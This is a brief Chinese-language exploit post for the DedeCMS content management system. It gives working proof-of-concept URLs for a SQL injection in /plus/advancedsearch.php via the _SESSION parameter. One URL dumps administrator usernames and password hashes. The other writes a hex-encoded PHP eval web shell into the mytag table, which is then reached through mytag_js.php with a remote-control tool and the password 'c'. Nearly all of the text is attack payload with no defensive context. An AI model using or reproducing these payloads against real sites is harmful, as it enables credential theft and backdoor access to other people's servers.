dedecms最新注入和getshell漏洞利用
条件利用：1.漏洞代码在/plus/advancedsearch.php 文件中
2.php.ini要开启session.auto_start = 1
3.必须知道一个存在的mid，需要后台有添加自定义搜索模型
爆账号密码poc：
http://localhost/dedecms/plus/advancedsearch.php?mid=1&_SESSION=select concat(0x7c,userid,0x7c,pwd,0x7c) as aid from `%23@__admin` aaa &sqlhash=123
getshell poc:
http://localhost/dedecms/plus/advancedsearch.php?mid=6&_SESSION=update `%23@__mytag` set normbody=0x3C3F706870206576616C28245F504F53545B635D293B3F3E where aid=1 limit 1&sqlhash=123
然后菜刀链接http://localhost/dedecms/plus/mytag_js.php?aid=1 密码:c
